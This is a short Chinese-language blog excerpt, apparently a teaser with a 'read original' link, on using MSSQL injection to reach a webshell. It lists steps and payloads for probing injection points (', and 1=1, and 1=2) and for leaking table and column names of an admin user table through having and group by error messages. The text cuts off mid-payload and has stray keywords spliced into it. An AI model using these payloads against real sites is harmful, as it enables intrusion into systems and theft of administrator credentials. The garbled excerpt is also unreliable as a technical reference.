MSSQL注入之木立刻传拿webshell

1.检测是否存在注入点：依次添加语句',and 1=1和and 1=2,来判断网站是否存在注入点web 2.利用语句：a' having 1=1--爆出表名和字段名AdminUser.AdminIdshell 3.接着爆出其余字段：网站 a' group by adminuser.adminid having 1=1--  //爆出用户名字段登录 a' group by adminuser.adm

>>阅读原文<<